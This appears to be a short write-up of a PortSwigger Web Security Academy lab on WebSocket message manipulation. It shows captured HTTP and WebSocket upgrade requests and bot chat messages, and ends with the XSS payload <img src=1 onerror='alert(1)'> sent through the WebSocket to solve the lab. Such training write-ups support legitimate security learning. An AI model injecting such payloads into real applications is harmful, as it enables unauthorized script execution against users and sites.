Port Swigger Manipulating WebSocket messages to ex
Manipulating WebSocket messages to exploit vulnerabilities¶
Solution¶
Start chat with bot¶
GET /chat HTTP/2
Host: 0ab300770352b59080cad5de00aa002b.web-security-academy.net
Cookie: session=6SUAJUCV7k7WtsnkHzdaJJoB3ea6RpQX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0ab300770352b59080cad5de00aa002b.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
GET /chat HTTP/2
Host: 0ab300770352b59080cad5de00aa002b.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Sec-Websocket-Version: 13
Origin: https://0ab300770352b59080cad5de00aa002b.web-security-academy.net
Sec-Websocket-Key: 5cJZAn1Kh2Kfq5xqZcMsUQ==
Connection: keep-alive, Upgrade
Cookie: session=6SUAJUCV7k7WtsnkHzdaJJoB3ea6RpQX
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: same-origin
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
---
WebSocket below
{"message":"Himy bro"}
___
{"user":"You","content":"Himy bro"}
___
{"user":"Hal Pline","content":"I'll ask the dog, she's pretty smart. Can you repeat that please? Repeat that please, repeat, please repeat, say again..."}
Sent XSS payload¶
Put below payload to chat
Payload: <img src=1 onerror='alert(1)'>"}
---
{"message":"<img src=1 onerror='alert(1)'>"}